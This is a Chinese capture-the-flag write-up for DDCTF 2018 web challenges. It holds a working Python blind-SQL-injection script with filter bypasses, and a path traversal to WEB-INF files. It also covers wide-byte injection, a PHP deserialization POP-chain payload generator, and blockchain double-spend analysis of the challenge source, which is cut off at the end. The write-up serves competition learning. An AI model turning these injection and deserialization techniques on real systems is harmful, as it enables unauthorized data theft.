CTFwriteup

DDCTF WEBwriteup

1.数据库的秘密

访问链接:http://116.85.43.88:8080/PEQFGTUTQMZWCZGK/dfe3ia/index.php

 

加一个X-Forwarded-For:123.232.23.245

测试了下,看到的三个参数都是被过滤了的  暂时找不到注入点,翻一下源码

发现author被隐藏了,极有可能是注入点,被隐藏了不好测试,不要慌burpsuite可以帮到我们,在Proxy->Options中做如下操作:

我们可以看到多出来一个测试框,这个框对应的便是author参数,输入admin' and 1# 发现返回正确,足以确定是注入点,进行测试发现 出现union select 一起便会被狗拦截,看来只好用盲注了。再仔细看请求url,

http://116.85.43.88:8080/PEQFGTUTQMZWCZGK/dfe3ia/index.php?sig=748581f83d9e830cc8c0eaffa16d15ea3f347af6&time=1528767547

会发现多了一个sig和time参数,这应该是由js生成的,找一下代码有个math.js和main.js

果然在代码最后可以发现time和sign的生成,并将代码改为如上图所示。就可以用execjs在python执行js代码算出time和sign加到url中,最后附上python代码

# -*- coding:utf-8 -*-
#written by python3.5
import requests
import execjs

tryStr = "DCTFQWERYUIOPASGHJKLZXVBN{}_qwertyuiopasdfghjklzxcvbnm1234567890_@-M"
headers = {
    "x-forwarded-for": "123.232.23.245",
    "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
}


def tryFlag(source, payload):
    data = ""
    truePayload = "test' && if(ascii(substr(({query}), {strOffset},1)) = {aStr},1,0)#"
    for i in range(1, 40):
        index = 0
        while index <= len(tryStr):
            try:
                j = tryStr[index]

                strQuery = truePayload.format(
                    query=payload.format(spos=0), strOffset=i, aStr=str(ord(j)))
                obj = source.eval('obj')
                obj['author'] = strQuery
                print(obj)
                getStr = source.call("submitt", strQuery)
                url = "http://116.85.43.88:8080/PEQFGTUTQMZWCZGK/dfe3ia/"
                url += getStr
                req = requests.post(url, data=obj, headers=headers)
                # print(req.text)
                if "time error" in req.text:
                    index -= 1
                if "sig error" in req.text:
                    index -= 1
                if "test" in req.text:
                    data += j
                    print("data: " + data)
                    break
                if j == 'M' and "test" not in req.text:
                    print(data)
                    return
                index += 1
            except Exception:
                pass


def main():
    payload1 = "select schema_name from information_schema.schemata limit {spos},1"
    payload2 = "select table_name from information_schema.tables where table_schema =0x6464637466 limit {spos},1"
    payload3 = "select column_name from information_schema.columns where table_name=0x6374665f6b657931 limit {spos},1"
    payload4 = "select secvalue from ctf_key1 limit {spos},1"
    with open("web1.js", "r") as f:
        source = f.read()
    source = execjs.compile(source)
    tryFlag(source, payload4)


if __name__ == '__main__':
    main()

2.专属链接

访问:http://116.85.48.102:5050/welcom/8acb825dsc139s4f1bsb16es14f7875f8f23   ,页面并没有什么值得注意对的地方,查看源码,发现以下几个可疑的地方:

第一:邮箱:8071103253958342134@didichuxing.com

第二:奇怪的base64字符串:ZmF2aWNvbi5pY28=  解码后:favicon.ico

第三:提示:<!–/flag/testflag/yourflag–>

我们先访问第二那个href,在里面发现这句话:you can only download .class .xml .ico .ks files,可以下载.class .xml等文件,那要怎么下载呢?目前还不知道,继续利用第三个提示。输入:如下图所示

很明显是个java写的后台,里面的错误信息爆出了一些类文件,最主要的是蓝色部分的flag控制文件,结合前面的可以下载.class 文件,思路便很晰:                    我们需要下载关于flag的相关.class文件,但我们还不知道有哪些文件、和文件的目录啊。不要慌(两种方法),一些老手看到这里便会轻易的知道一种文件泄露方式:

WEB-IN

第二种方法:专属链接??访问:http://116.85.48.102:5050/login,可以看到这样一个平台,通过在github上搜索源码,可以找到源码,从而拿到文件

配置我们先尝试访问下配置文件:WEB-INF/web.xml,在第二个提示中修改base64编码字符串为WEB-INF/web.xml试一试,发现没有东西,那有可能是嵌套了目录的试一试../WEB-INF/web.xml和../../WEB-INF/web.xml:在../../WEB-INF/web.xml发现配置信息

分别将applicationContext.xml、上面蓝色部分的源码、com.didichuxing.ctf.listener.InitListener(../../WEB-IBF/classes/****)下载,将后两者者通过jd-gui进行反编译:

INITListener:

正好最近在学JAVA,大致看得懂代码:

  1. 导入emails.txt(即提示一的那串字符串)
  2. 消息认证算法HmacSha256和私钥“sdl welcome you”对email进行加密
  3. 将加密后的email发送到/getflag/{email:xxx},会返回一个加了密的flag
  4. 由于flag是用的RSA算法和sdl.k生成的私钥经行加密(一般来说,公钥是用来加密的,私钥用来解密的,在加解密文件时而在进行认证时,如:ssh 登陆服务器时用的时私钥加密,将加密后的字符串发向服务器,服务器用公钥进行验证,如果成功,则登陆成功),所以我们需要用公钥对其进行验证,验证后的结果便是flag

对email进行加密的代码(也可以通过网站:http://tool.oschina.net/encrypt  进行HmacSHA256加密):

package caclEmail;
import java.security.InvalidKeyException;
import java.security.NoSuchAlgorithmException;

import javax.crypto.Mac;
import javax.crypto.spec.SecretKeySpec;
public class CalcEmail {
	public static void main(String[] args) throws NoSuchAlgorithmException, InvalidKeyException{
		  String email = "3796319013081173640@didichuxing.com";
	      SecretKeySpec signingKey = new SecretKeySpec("sdl welcome you !".getBytes(), "HmacSHA256");
	      Mac mac = Mac.getInstance("HmacSHA256");
	      mac.init(signingKey);
	      byte[] e = mac.doFinal(String.valueOf(email.trim()).getBytes());
	      System.out.println(byte2hex(e));
	      
		
	}
	public static String byte2hex(byte[] b)
	  {
	    StringBuilder hs = new StringBuilder();
	    for (int n = 0; (b != null) && (n < b.length); n++)
	    {
	      String stmp = Integer.toHexString(b[n] & 0xFF);
	      if (stmp.length() == 1) {
	        hs.append('0');
	      }
	      hs.append(stmp);
	    }
	    return hs.toString().toUpperCase();
	  }

}


获得加密后的字符串,在进行flag的解密:

package decode;

import java.io.FileInputStream;
import java.io.IOException;
import java.security.InvalidKeyException;
import java.security.Key;
import java.security.KeyStore;
import java.security.KeyStoreException;
import java.security.NoSuchAlgorithmException;
import java.security.UnrecoverableKeyException;
import java.security.cert.CertificateException;

import javax.crypto.BadPaddingException;
import javax.crypto.Cipher;
import javax.crypto.IllegalBlockSizeException;
import javax.crypto.NoSuchPaddingException;

public class Decode {

	public static void main(String[] args) throws KeyStoreException, NoSuchAlgorithmException, CertificateException, IOException, UnrecoverableKeyException, NoSuchPaddingException, InvalidKeyException, IllegalBlockSizeException, BadPaddingException  {
		String ksPath = "C:\\Users\\ycb\\Desktop\\DDCTF文件2018\\web2\\sdl.ks";
		String p = "sdl welcome you !".substring(0, "sdl welcome you !".length() - 1).trim().replace(" ", "");
		String encodeFlag = "019312D7231329ADEB986C6F994D7148B74AF9282B515F80F58A88BCE863F8848600CA69C4BE8F0D3BE3486B4FB7445C15169085F1DFE4D4B8439EF3472B50DE22D6E09BCCBC56542541D0C8F148B658005C2DD89202AEBF765998C2FA6AA197E5F6277587E78498F7E0A111429D3E1BEE2F4DD17224C0599FFA2FC1EE69B2521EEB96859EEB3D65DA88FED274739B208A81AF6280CF233B2064C6DB513AB9D53B010A456B8073C8C950E29034628C957108E7173390FBB4665229A6A9949188C8A5D43AE7CDB6244F082EF90EB3D2E126764CF90DE716A2150652AE3C13C0B457BD76E9BF1F9936AD85474CEDB23472039B5EC3387EF4FB5D5E3BD0FA681CDE"; 
		KeyStore keyStore = KeyStore.getInstance(KeyStore.getDefaultType());
		FileInputStream inputStream = new FileInputStream(ksPath);
		keyStore.load(inputStream, p.toCharArray());
        Key key = keyStore.getKey("www.didichuxing.com", p.toCharArray());
        System.out.println(key.getAlgorithm());
        Cipher cipher1 = Cipher.getInstance(key.getAlgorithm());
        Key pubKey = keyStore.getCertificate("www.didichuxing.com").getPublicKey();
        cipher1.init(Cipher.DECRYPT_MODE, pubKey);
        byte[] flag = cipher1.doFinal(hex2Byte(encodeFlag));
        System.out.println(new String(flag));
        
	}
	/*public static String byte2Hex(byte[] b) {
		StringBuilder hs = new StringBuilder();
		for (int n = 0; (b != null) && (n < b.length); n++) {
			String stmp = Integer.toHexString(b[n] & 0xFF);
			if (stmp.length() == 1)
				hs.append('0');
			hs.append(stmp);
		}
		return hs.toString().toUpperCase();
	}
	*/
	public static byte[] hex2Byte(String hexString) {
		if(hexString == null || hexString.equals("")) return null;
		hexString = hexString.toUpperCase();
		int length = hexString.length() / 2;
		byte[] d = new byte[length];
		int i;
		for(i = 0; i < length; i++) {
			int pos = i * 2;
			d[i] = (byte)(strToByte(hexString.charAt(pos)) << 4 | strToByte(hexString.charAt(pos+1)));
		}
		return d;
	}
	public static byte strToByte(char c) {
		return (byte) "0123456789ABCDEF".indexOf(c);
	}

}

得出答案:DDCTF{5218295657878818503}

3.注入的奥妙

访问:http://116.85.48.105:5033/5d71b644-ee63-4b11-9c13-da3c4ac35b8d/well/getmessage/1

试一试在1后面添加个单引号,有过滤,先查看下源码

在源码中找到这样一段提示,访问,发现是big5编码,网上一搜发现是宽字节注入,寻找以5c结尾的汉字:苒

进行测试:发现会过滤union、select等关键字,试一试uniunionon 发现可以绕过,证明其waf写法应该是将关键字替换为空

得到如下信息:访问static/bootstrap/css/backup.css可以拿到源码备份,再通过post提交到/justtry/try便可拿到flag

看关键代码,很明显是个反序列化漏洞

<?php // Controller/Justtry.php public function try($serialize) { unserialize(urldecode($serialize), ["allowed_classes" => ["IndexHelperFlag", "IndexHelperSQL","IndexHelperTest"]]);
}
// Helper/Test.php
class Test
{
    public $user_uuid;
    public $fl;
    public function __destruct()
    {
        $this->getflag('ctfuser', $this->user_uuid);
    }
    public function getflag($m = 'ctfuser', $u = 'default')
    {
        //TODO: check username
        $user=array(
            'name' => $m,
            'id' => $u
        );
        //懒了直接输出给你们了
        echo 'DDCTF{'.$this->fl->get($user).'}';
    }
}
// Helper/Flag.php
class Flag
{
    public $sql;
    public function __construct()
    {
        $this->sql=new SQL();
    }
    public function get($user)
    {
        $tmp=$this->sql->FlagGet($user);
        if ($tmp['status']===1) {
            return $this->sql->FlagGet($user)['flag'];
        }
    }
}
// Helper/SQL.php
class SQL
{
    public $dbc;
    public $pdo;
}
?>

在unserialize结束后会自动调用__destruct()函数执行getflag()函数获得flag,而flag又是从FLAG类里面的__construct()函数里的SQL类获得,所以我们可以构造如下一个反序列漏洞利用脚本:

<?php namespace Index\Helper; class Test{ public $user_uuid; public $fl; } class Flag{ public $sql; } class SQL{ public $dbc; public $pdo; } $a = new Test(); $a->user_uuid = "4128462f-89bf-4542-b54f-e7335137041f";
$a->fl = new Flag();
$a->fl->sql = new SQL();
echo serialize($a);
echo "\n";
echo urlencode(serialize($a));
echo "\n";

?>

这里需要注意的是入口中允许序列化的名字即Index\Helper\Test等,最后再提交序列化后的字符串:

4.mini blockchain

发现一堆看不懂的。先看看 View source code 的python源码

# -*- encoding: utf-8 -*-
# written in python 2.7
__author__ = 'garzon'

import hashlib
import json
import rsa
import uuid
import os
from flask import Flask, session, redirect, url_for, escape, request

app = Flask(__name__)
app.secret_key = '*********************'
url_prefix = '/b9ca5f959dd7e'


def FLAG():
    return 'Here is your flag: DDCTF{******************}'


def hash(x):
    return hashlib.sha256(hashlib.md5(x).digest()).hexdigest()


def hash_reducer(x, y):
    return hash(hash(x) + hash(y))


def has_attrs(d, attrs):
    if type(d) != type({}):
        raise Exception("Input should be a dict/JSON")
    for attr in attrs:
        if attr not in d:
            raise Exception("{} should be presented in the input".format(attr))


EMPTY_HASH = '0' * 64


def addr_to_pubkey(address):
    return rsa.PublicKey(int(address, 16), 65537)


def pubkey_to_address(pubkey):
    assert pubkey.e == 65537
    hexed = hex(pubkey.n)
    if hexed.endswith('L'):
        hexed = hexed[:-1]
    if hexed.startswith('0x'):
        hexed = hexed[2:]
    return hexed


def gen_addr_key_pair():
    pubkey, privkey = rsa.newkeys(384)
    return pubkey_to_address(pubkey), privkey


bank_address, bank_privkey = gen_addr_key_pair()
hacker_address, hacker_privkey = gen_addr_key_pair()
shop_address, shop_privkey = gen_addr_key_pair()
shop_wallet_address, shop_wallet_privkey = gen_addr_key_pair()


def sign_input_utxo(input_utxo_id, privkey):
    return rsa.sign(input_utxo_id, privkey, 'SHA-1').encode('hex')


def hash_utxo(utxo):
    return reduce(hash_reducer, [utxo['id'], utxo['addr'], str(utxo['amount'])])


def create_output_utxo(addr_to, amount):
    utxo = {'id': str(uuid.uuid4()), 'addr': addr_to, 'amount': amount}
    utxo['hash'] = hash_utxo(utxo)
    return utxo


def hash_tx(tx):
    return reduce(hash_reducer, [
        reduce(hash_reducer, tx['input'], EMPTY_HASH),
        reduce(hash_reducer, [utxo['hash']
                              for utxo in tx['output']], EMPTY_HASH)
    ])


def create_tx(input_utxo_ids, output_utxo, privkey_from=None):
    tx = {'input': input_utxo_ids, 'signature': [sign_input_utxo(
        id, privkey_from) for id in input_utxo_ids], 'output': output_utxo}
    tx['hash'] = hash_tx(tx)
    return tx


def hash_block(block):
    return reduce(hash_reducer, [block['prev'], block['nonce'], reduce(hash_reducer, [tx['hash'] for tx in block['transactions']], EMPTY_HASH)])


def create_block(prev_block_hash, nonce_str, transactions):
    if type(prev_block_hash) != type(''):
        raise Exception('prev_block_hash should be hex-encoded hash value')
    nonce = str(nonce_str)
    if len(nonce) > 128:
        raise Exception('the nonce is too long')
    block = {'prev': prev_block_hash,
             'nonce': nonce, 'transactions': transactions}
    block['hash'] = hash_block(block)
    return block


def find_blockchain_tail():
    return max(session['blocks'].values(), key=lambda block: block['height'])


def calculate_utxo(blockchain_tail):
    curr_block = blockchain_tail
    blockchain = [curr_block]
    while curr_block['hash'] != session['genesis_block_hash']:
        curr_block = session['blocks'][curr_block['prev']]
        blockchain.append(curr_block)
    blockchain = blockchain[::-1]
    utxos = {}
    for block in blockchain:
        for tx in block['transactions']:
            for input_utxo_id in tx['input']:
                del utxos[input_utxo_id]
            for utxo in tx['output']:
                utxos[utxo['id']] = utxo
    return utxos


def calculate_balance(utxos):
    balance = {bank_address: 0, hacker_address: 0, shop_address: 0}
    for utxo in utxos.values():
        if utxo['addr'] not in balance:
            balance[utxo['addr']] = 0
        balance[utxo['addr']] += utxo['amount']
    return balance


def verify_utxo_signature(address, utxo_id, signature):
    try:
        return rsa.verify(utxo_id, signature.decode('hex'), addr_to_pubkey(address))
    except:
        return False


def append_block(block, difficulty=int('f' * 64, 16)):
    has_attrs(block, ['prev', 'nonce', 'transactions'])

    if type(block['prev']) == type(u''):
        block['prev'] = str(block['prev'])
    if type(block['nonce']) == type(u''):
        block['nonce'] = str(block['nonce'])
    if block['prev'] not in session['blocks']:
        raise Exception("unknown parent block")
    tail = session['blocks'][block['prev']]
    utxos = calculate_utxo(tail)

    if type(block['transactions']) != type([]):
        raise Exception('Please put a transaction array in the block')
    new_utxo_ids = set()
    for tx in block['transactions']:
        has_attrs(tx, ['input', 'output', 'signature'])

        for utxo in tx['output']:
            has_attrs(utxo, ['amount', 'addr', 'id'])
            if type(utxo['id']) == type(u''):
                utxo['id'] = str(utxo['id'])
            if type(utxo['addr']) == type(u''):
                utxo['addr'] = str(utxo['addr'])
            if type(utxo['id']) != type(''):
                raise Exception("unknown type of id of output utxo")
            if utxo['id'] in new_utxo_ids:
                raise Exception(
                    "output utxo of same id({}) already exists.".format(utxo['id']))
            new_utxo_ids.add(utxo['id'])
            if type(utxo['amount']) != type(1):
                raise Exception("unknown type of amount of output utxo")
            if utxo['amount'] <= 0: raise Exception("invalid amount of output utxo") if type(utxo['addr']) != type(''): raise Exception("unknown type of address of output utxo") try: addr_to_pubkey(utxo['addr']) except: raise Exception( "invalid type of address({})".format(utxo['addr'])) utxo['hash'] = hash_utxo(utxo) tot_output = sum([utxo['amount'] for utxo in tx['output']]) if type(tx['input']) != type([]): raise Exception("type of input utxo ids in tx should be array") if type(tx['signature']) != type([]): raise Exception( "type of input utxo signatures in tx should be array") if len(tx['input']) != len(tx['signature']): raise Exception( "lengths of arrays of ids and signatures of input utxos should be the same") tot_input = 0 tx['input'] = [str(i) if type(i) == type(u'') else i for i in tx['input']] tx['signature'] = [str(i) if type(i) == type( u'') else i for i in tx['signature']] for utxo_id, signature in zip(tx['input'], tx['signature']): if type(utxo_id) != type(''): raise Exception("unknown type of id of input utxo") if utxo_id not in utxos: raise Exception( "invalid id of input utxo. Input utxo({}) does not exist or it has been consumed.".format(utxo_id)) utxo = utxos[utxo_id] if type(signature) != type(''): raise Exception("unknown type of signature of input utxo") if not verify_utxo_signature(utxo['addr'], utxo_id, signature): raise Exception( "Signature of input utxo is not valid. You are not the owner of this input utxo({})!".format(utxo_id)) tot_input += utxo['amount'] del utxos[utxo_id] if tot_output > tot_input:
            raise Exception(
                "You don't have enough amount of DDCoins in the input utxo! {}/{}".format(tot_input, tot_output))
        tx['hash'] = hash_tx(tx)

    block = create_block(block['prev'], block['nonce'], block['transactions'])
    block_hash = int(block['hash'], 16)
    if block_hash > difficulty:
        raise Exception('Please provide a valid Proof-of-Work')
    block['height'] = tail['height'] + 1
    if len(session['blocks']) > 50:
        raise Exception(
            'The blockchain is too long. Use ./reset to reset the blockchain')
    if block['hash'] in session['blocks']:
        raise Exception('A same block is already in the blockchain')
    session['blocks'][block['hash']] = block
    session.modified = True


def init():
    if 'blocks' not in session:
        session['blocks'] = {}
        session['your_diamonds'] = 0

        # First, the bank issued some DDCoins ...
        total_currency_issued = create_output_utxo(bank_address, 1000000)
        # create DDCoins from nothing
        genesis_transaction = create_tx([], [total_currency_issued])
        genesis_block = create_block(
            EMPTY_HASH, 'The Times 03/Jan/2009 Chancellor on brink of second bailout for bank', [genesis_transaction])
        session['genesis_block_hash'] = genesis_block['hash']
        genesis_block['height'] = 0
        session['blocks'][genesis_block['hash']] = genesis_block

        # Then, the bank was hacked by the hacker ...
        handout = create_output_utxo(hacker_address, 999999)
        reserved = create_output_utxo(bank_address, 1)
        transferred = create_tx([total_currency_issued['id']], [
                                handout, reserved], bank_privkey)
        second_block = create_block(
            genesis_block['hash'], 'HAHA, I AM THE BANK NOW!', [transferred])
        append_block(second_block)

        # Can you buy 2 diamonds using all DDCoins?
        third_block = create_block(second_block['hash'], 'a empty block', [])
        append_block(third_block)


def get_balance_of_all():
    init()
    tail = find_blockchain_tail()
    utxos = calculate_utxo(tail)
    return calculate_balance(utxos), utxos, tail


@app.route(url_prefix + '/')
def homepage():
    announcement = 'Announcement: The server has been restarted at 21:45 04/17. All blockchain have been reset. '
    balance, utxos, _ = get_balance_of_all()
    genesis_block_info = 'hash of genesis block: ' + \
        session['genesis_block_hash']
    addr_info = 'the bank\'s addr: ' + bank_address + ', the hacker\'s addr: ' + \
        hacker_address + ', the shop\'s addr: ' + shop_address
    balance_info = 'Balance of all addresses: ' + json.dumps(balance)
    utxo_info = 'All utxos: ' + json.dumps(utxos)
    blockchain_info = 'Blockchain Explorer: ' + json.dumps(session['blocks'])
    view_source_code_link = "<a href='source_code'>View source code</a>"
    return announcement + ('

\r\n\r\n'.join([view_source_code_link, genesis_block_info, addr_info, balance_info, utxo_info, blockchain_info]))


@app.route(url_prefix + '/flag')
def getFlag():
    init()
    if session['your_diamonds'] >= 2:
        return FLAG()
    return 'To get the flag, you should buy 2 diamonds from the shop. You have {} diamonds now. To buy a diamond, transfer 1000000 DDCoins to '.format(session['your_diamonds']) + shop_address


def find_enough_utxos(utxos, addr_from, amount):
    collected = []
    for utxo in utxos.values():
        if utxo['addr'] == addr_from:
            amount -= utxo['amount']
            collected.append(utxo['id'])
        if amount <= 0:
            return collected, -amount
    raise Exception('no enough DDCoins in ' + addr_from)


def transfer(utxos, addr_from, addr_to, amount, privkey):
    input_utxo_ids, the_change = find_enough_utxos(utxos, addr_from, amount)
    outputs = [create_output_utxo(addr_to, amount)]
    if the_change != 0:
        outputs.append(create_output_utxo(addr_from, the_change))
    return create_tx(input_utxo_ids, outputs, privkey)


@app.route(url_prefix + '/5ecr3t_free_D1diCoin_b@ckD00r/<string:address>')
def free_ddcoin(address):
    balance, utxos, tail = get_balance_of_all()
    if balance[bank_address] == 0:
        return 'The bank has no money now.'
    try:
        address = str(address)
        addr_to_pubkey(address)  # to check if it is a valid address
        transferred = transfer(utxos, bank_address, address,
                               balance[bank_address], bank_privkey)
        new_block = create_block(
            tail['hash'], 'b@cKd00R tr1993ReD', [transferred])
        append_block(new_block)
        return str(balance[bank_address]) + ' DDCoins are successfully sent to ' + address
    except Exception, e:
        return 'ERROR: ' + str(e)


DIFFICULTY = int('00000' + 'f' * 59, 16)


@app.route(url_prefix + '/create_transaction', methods=['POST'])
def create_tx_and_check_shop_balance():
    init()
    try:
        block = json.loads(request.data)
        append_block(block, DIFFICULTY)
        msg = 'transaction finished.'
    except Exception, e:
        return str(e)

    balance, utxos, tail = get_balance_of_all()
    if balance[shop_address] == 1000000:
        # when 1000000 DDCoins are received, the shop will give you a diamond
        session['your_diamonds'] += 1
        # and immediately the shop will store the money somewhere safe.
        transferred = transfer(
            utxos, shop_address, shop_wallet_address, balance[shop_address], shop_privkey)
        new_block = create_block(
            tail['hash'], 'save the DDCoins in a cold wallet', [transferred])
        append_block(new_block)
        msg += ' You receive a diamond.'
    return msg


# if you mess up the blockchain, use this to reset the blockchain.
@app.route(url_prefix + '/reset')
def reset_blockchain():
    if 'blocks' in session:
        del session['blocks']
    if 'genesis_block_hash' in session:
        del session['genesis_block_hash']
    return 'reset.'


@app.route(url_prefix + '/source_code')
def show_source_code():
    source = open('serve.py', 'r')
    html = ''
    for line in source:
        html += line.replace('&', '&amp;').replace('\t', '&nbsp;' * 4).replace(
            ' ', '&nbsp;').replace('<', '&lt;').replace('>', '&gt;').replace('\n', '
')
    source.close()
    return html


if __name__ == '__main__':
    app.run(debug=False, host='0.0.0.0')

 

本题目的解法应该就藏在里面,到这里没有区块链的基础知识就没法做题了。先补一下:

0x00前言

1.比特币基础

       2008 年 10 月 31 日,化名 Satoshi Nakamoto (中本聪)的人提出了比特
币的设计白皮书(最早见于 metzdowd 邮件列表),并在 2009 年公开了最
初的实现代码,第一个比特币是 2009 年 1 月 3 日 18:15:05 生成。但真
正流行起来还是在 2010 年后的事情。其官方网站是 bitcoin。
发明人(传言代号为中本聪的澳大利亚人)到目前为止尚无法确认身份,据推
测,背后也可能是一个团队。
尽管充满了争议,但从技术角度看,比特币仍然是数字货币历史上一次了不起
的创新。比特币网络在 2009 年上线以来已经在全球范围内 7*24 小时运行接
近 8 年时间,支持过单笔 1.5 亿美金的交易。比特币网络由数千个核心节点
参与构成,没有任何中心的运维参与,支持了稳定上升的交易量。
比特币之所以受到无数金融从业者的热捧,在于它首次真正意义上实现了足够
安全可靠的去中心化数字货币机制。
作为一种概念金融货币,比特币主要是希望解决已有金融货币系统的几个问题:
  1.  被掌控在发行机构手中;
  2.  自身的价值无法保证;
  3. 无法匿名化交易。
      搞金融的人都能想到,实际上,要设计这么一套系统,最关键的还是一套强大
的交易记录系统和中立的货币发行机制。
     首先,这个系统要能中立、公正、无法被篡改地记录发生过的每一笔交易。对
比已有的银行系统,可以看出,现在的银行机制作为第三方,是有代价的提供汇智网 Hubwiz.com 区块链技术指南。
了这样的服务,即如果交易双方都相信银行的数据库,那么就没问题了。可是
如果是世界范围内流通的货币呢?有哪个银行能让大家完全信任它?于是,需
要有一套分布式的数据库,在世界范围内都可以访问,而且都无法去控制。这
也就是区块链设计的目的。
     货币的发行则是通过比特币的协议来规定的,总量必须控制,发行速度会自动
调整。既然总量一定,那么单个比特币的价值肯定会随着承认比特币的实体经
济的加入而水涨船高。发行速度的调整则避免了通胀或者滞涨的出现。

2.区块链

     比特币背后所蕴含的技术——区块链技术,开始被大家广为研究。
区块链定义:区块链(Blockchain)是指通过去中心化和去信任的方式集体维护一个可靠数据库的技术方案。该技术方案让参与系统中的任意多个节点,把一段时间系统内全部信息交流的数据,通过密码学算法计算记录到一个数据块(block),并且生成该数据块的指纹用于链接(chain)下个数据块和校验,系统所有参与节点来共同认定记录是否为真。
1.去中心化:没有管理机构,每个人都可以参加,向节点写入数据
2.分布式:每个人都可以架设服务器成为区块链的一个节点
3.数据库:链上的每个区块都可以存储数据,如:产生的交易记录

3.区块

区块是构建区块链的基本单位。一个区块至少要包含以下信息:
  • index: 区块在区块链中的位置;
  • timestamp: 区块产生的时间;
  • transactions: 区块包含的交易;
  • previousHash: 前一个区块的Hash值;
  • hash: 当前区块的Hash值;
  • nonce:算力证明,(靠这个拿钱)
其中最后两个属性 previousHash 和 hash 是区块链的精华所在。区块链的不可篡改特性正是由这两个属性保证。(本题稍微和以上有点不同,不过不影响)
4.Proof-of-Work
       网络中有那么多比特币节点,这笔奖励该奖励给谁呢?这就是工作量证明(Proof-of-Work)算法要解决的问题。
现在挖矿基本上由矿池构成,如果一个矿池生成了一个合法的新区块,那么这个矿池就可以得到12.5个比特币,那么12.5个币该怎么分呢?就通过nonce值来确定,根据对矿池的贡献来获得比特币。
       很自然会有人问,能否进行恶意操作来破坏整个区块链系统或者获取非法利益。比如不承认别人的结果,拒绝别人的交易等。实际上,因为系统中存在大量的用户,而且用户默认都只承认他看到的最长的链。只要不超过一半(概率意义上越少肯定越难)的用户协商,最终最长的链将很大概率上是合法的链,而且随着时间增加,这个概率会越大。例如,经过 6 个块后,即便有一半的节点联合起来想颠覆被确认的结果,其概率也很小。用户越多,整个区块链就越稳定、越安全。
6.区块链分叉问题
       假设原本有3个区块,在挖第四个区块时,同时有两个矿工发现了第四个,这时两个矿工就会向周围的矿工进行广播,矿工们就会将当前所知的最长链复制过来,由于距离不同,两条链的算力就会不一样,最终导致一条链死亡,一条链存活。而存活的链又被其他矿工继续复制进行挖矿。
5. 51%攻击
       如果某个用户掌握了全网的一半以上的算力,比如51%(不到一半也可以,只是概率极低,因为算hash和运气有关),那么他就可以更改合法的但是还没向交易所转账的区块,比如向交易所转账的是第30w个区块,那么攻击者可以从29w9999开始生成新的区块,由于他的算力一直比所有人都高,那么终究会生成超过原链长度的区块链,他的这块链就是一条新的合法的链(因为整个比特网系统只承认最长的链)这时51%攻击成功。
6.双花攻击
      双花攻击是利用的51%攻击为基础,同一笔UTXO在不同交易中的花费,双花不会产生新的货币,只能把自己花出去的钱重新拿回来。通过使之前交易的区块无效,即可达到目的。

0x02题目分析

知道了51%攻击和双花攻击后,再结合题目说明区块链里的所有矿机全部宕机,这不就说明我们拥有了100%的算力,进而可以发功攻击。
由图可知,目前存在三个区块:

@app.route(url_prefix + '/')
def homepage():
    announcement = 'Announcement: The server has been restarted at 21:45 04/17. All blockchain have been reset. '
    balance, utxos, _ = get_balance_of_all()
    genesis_block_info = 'hash of genesis block: ' + \
        session['genesis_block_hash']
    addr_info = 'the bank\'s addr: ' + bank_address + ', the hacker\'s addr: ' + \
        hacker_address + ', the shop\'s addr: ' + shop_address
    balance_info = 'Balance of all addresses: ' + json.dumps(balance)
    utxo_info = 'All utxos: ' + json.dumps(utxos)
    blockchain_info = 'Blockchain Explorer: ' + json.dumps(session['blocks'])
    view_source_code_link = "<a href='source_code'>View source code</a>"
    return announcement + ('

\r\n\r\n'.join([view_source_code_link, genesis_block_info, addr_info, balance_info, utxo_info, blockchain_info]))
分析代码发现有三个地址:
bank addr:b2b69bf382659fd193d40f3905ed************************************
hacker addr:955c823ea45e97e128bd2c*******************************************
shop addr: b81ff6d961082076f3801190a731958aec***************************
每个地址对应的资金:
bank:1
hacker:999999
shop:0
先看看balance和utxo如何得到,跟踪get_balance_of_all()
def get_balance_of_all():
    init()
    tail = find_blockchain_tail()
    utxos = calculate_utxo(tail)
    return calculate_balance(utxos), utxos, tail

跟踪init()

def init():
    if 'blocks' not in session:
        session['blocks'] = {}
        session['your_diamonds'] = 0

        # First, the bank issued some DDCoins ...
        total_currency_issued = create_output_utxo(bank_address, 1000000)
        # create DDCoins from nothing
        genesis_transaction = create_tx([], [total_currency_issued])
        genesis_block = create_block(
            EMPTY_HASH, 'The Times 03/Jan/2009 Chancellor on brink of second bailout for bank', [genesis_transaction])
        session['genesis_block_hash'] = genesis_block['hash']
        genesis_block['height'] = 0
        session['blocks'][genesis_block['hash']] = genesis_block

        # Then, the bank was hacked by the hacker ...
        handout = create_output_utxo(hacker_address, 999999)
        reserved = create_output_utxo(bank_address, 1)
        transferred = create_tx([total_currency_issued['id']], [
                                handout, reserved], bank_privkey)
        second_block = create_block(
            genesis_block['hash'], 'HAHA, I AM THE BANK NOW!', [transferred])
        append_block(second_block)

        # Can you buy 2 diamonds using all DDCoins?
        third_block = create_block(second_block['hash'], 'a empty block', [])
        append_block(third_block)
可以看到block的构成:
block = {‘prev’: prev_block_hash, ‘nonce’: nonce, ‘transactions’: transactions}
block[‘hash’] = hash_block(block)
再看create_tx()
def create_tx(input_utxo_ids, output_utxo, privkey_from=None):
    tx = {'input': input_utxo_ids, 'signature': [sign_input_utxo(
        id, privkey_from) for id in input_utxo_ids], 'output': output_utxo}
    tx['hash'] = hash_tx(tx)
    return tx

生成每次交易transactions,再看append_block()

def append_block(block, difficulty=int('f' * 64, 16)):
    has_attrs(block, ['prev', 'nonce', 'transactions'])

    if type(block['prev']) == type(u''):
        block['prev'] = str(block['prev'])
    if type(block['nonce']) == type(u''):
        block['nonce'] = str(block['nonce'])
    if block['prev'] not in session['blocks']:
        raise Exception("unknown parent block")
    tail = session['blocks'][block['prev']]
    utxos = calculate_utxo(tail)

    if type(block['transactions']) != type([]):
        raise Exception('Please put a transaction array in the block')
    new_utxo_ids = set()
    for tx in block['transactions']:
        has_attrs(tx, ['input', 'output', 'signature'])

        for utxo in tx['output']:
            has_attrs(utxo, ['amount', 'addr', 'id'])
            if type(utxo['id']) == type(u''):
                utxo['id'] = str(utxo['id'])
            if type(utxo['addr']) == type(u''):
                utxo['addr'] = str(utxo['addr'])
            if type(utxo['id']) != type(''):
                raise Exception("unknown type of id of output utxo")
            if utxo['id'] in new_utxo_ids:
                raise Exception(
                    "output utxo of same id({}) already exists.".format(utxo['id']))
            new_utxo_ids.add(utxo['id'])
            if type(utxo['amount']) != type(1):
                raise Exception("unknown type of amount of output utxo")
